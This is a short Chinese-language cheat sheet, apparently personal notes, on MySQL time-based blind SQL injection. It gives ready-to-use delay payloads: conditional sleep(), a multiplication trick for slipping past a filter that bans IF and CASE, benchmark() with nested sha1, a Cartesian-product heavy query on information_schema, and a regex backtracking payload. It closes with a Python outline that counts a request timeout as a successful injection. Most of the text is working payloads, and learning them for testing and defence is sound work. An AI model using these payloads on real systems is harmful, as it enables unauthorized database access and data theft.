if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;

无if和case的解决办法

假设ifcase被ban了,又想要根据condition的真假来决定是否触发sleep(),可以将condition整合进sleep()中,做乘法即可:

sleep(5*(condition))

benchmark

是替代sleep的首选。

用法:benchmark(执行多少次,执行什么操作)

benchmark(1000000,sha1(sha1(sha1(sha1()))))

笛卡尔积

也就是所谓的HEAVY QUERY,用的不多。

select count(*) from information_schema.columns A, information_schema.columns B

get_lock

可以精准控制延时时间,但是不好用,因为需要维持MySQL的会话,基本用不到。

正则

通过正则的状态机不断进行状态转换,增加比配的时长,打到延时的目的。例如:

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

盲注脚本思路

正确的写延时盲注脚本的方法应该是:

try:    requests.get(url, timeout=3)except:    print("延时发生了,注入成功")